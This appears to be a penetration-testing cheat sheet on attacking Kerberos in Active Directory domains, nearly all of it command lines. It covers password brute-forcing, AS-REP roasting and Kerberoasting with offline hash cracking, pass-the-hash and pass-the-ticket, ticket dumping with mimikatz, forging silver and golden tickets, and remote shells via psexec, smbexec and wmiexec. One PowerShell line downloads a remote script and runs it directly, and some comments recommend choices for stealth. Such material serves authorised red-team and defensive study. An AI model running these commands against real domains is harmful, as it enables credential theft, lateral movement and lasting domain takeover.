Kerberos






Requirements: connection with DC/KDC.
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
Cracking users password, with KRB_AS_REQ when user has DONT_REQ_PREAUTH attribute, KDC respond with KRB_AS_REP user hash and then go for cracking.
# LDAP filter for non preauth krb users
LDAP: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>
# Powerview
Get-DomainUser -PreauthNotRequired
# https://github.com/HarmJ0y/ASREPRoast
Cracking with dictionary of passwords:
hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>
john --wordlist=<passwords_file> <AS_REP_responses_file>
Cracking users password from TGS, because TGS requires Service key which is derived from NTLM hash
# LDAP filter for users with linked services
LDAP: (&(samAccountType=805306368)(servicePrincipalName=*))
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>
With Powershell:
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
Cracking with dictionary of passwords:
hashcat -m 13100 --force <TGSs_file> <passwords_file>
john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>
NTDS.DIT, SAM files or lsass with mimi
# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
# If not provided, password is asked
# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt
# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\<remote_hostname> cmd
MiTM, lsass with mimi
Check type and location of tickets:
grep default_ccache_name /etc/krb5.conf
If none return, default is FILE:/tmp/krb5cc_%{uid}.
In case of file tickets, you can copy-paste (if you have permissions) for use them.
# To dump current user tickets, if root, try to dump them all by injecting in other user processes
# to inject, copy tickey in a reachable folder by all users
cp tickey /tmp/tickey
/tmp/tickey -i
mimikatz # sekurlsa::tickets /export
.\Rubeus dump
# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))
# ccache (Linux), kirbi (Windows from mimi/Rubeus)
python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi
# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
mimikatz # kerberos::ptt <ticket_kirbi_file>
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
.\PsExec.exe -accepteula \\<remote_hostname> cmd
Build a TGS with Service key
# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
.\PsExec.exe -accepteula \\<remote_hostname> cmd
Build a TGT with NTLM hash and krbtgt key, valid until krbtgt password is changed or TGT expires
Tickets must be used right after created
# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>
# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>
# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>
# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
.\PsExec.exe -accepteula \\<remote_hostname> cmd
To get NTLM from password:
python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'
Allows a service impersonate the user to interact with a second service, with the privileges and permissions of the user
If a user has delegation capabilities, all its services (and processes) have delegation capabilities. KDC only worries about the user who is talking to, not the process. Any process belonging to the same user can perform the same actions in Kerberos, regardless of whether it is a service or not. Unable to delegate if NotDelegated (or ADS_UF_NOT_DELEGATED) flag is set in the User-Account-Control attribute of the user account or user in Protected Users group.
- 1.User1 requests a TGS for ServiceZ, of UserZ.
- 2.The KDC checks if UserZ has the TrustedForDelegation flag set (Yes).
- 3.The KDC includes a TGT of User1 inside the TGS for ServiceZ.
- 4.ServiceZ receives the TGS with the TGT of User1 included and stores it for later use.

Delegation is constrained to only some whitelisted third-party services.
- S4U2Proxy Contrained

- S4U2Proxy RBCD

- S4U2Proxy Service Name Change

- S4U2Self

- S4U2Self & S4U2Proxy combined Contrained

- S4U2Self & S4U2Proxy combined RBCD

- RBCD attack

Last modified 3yr ago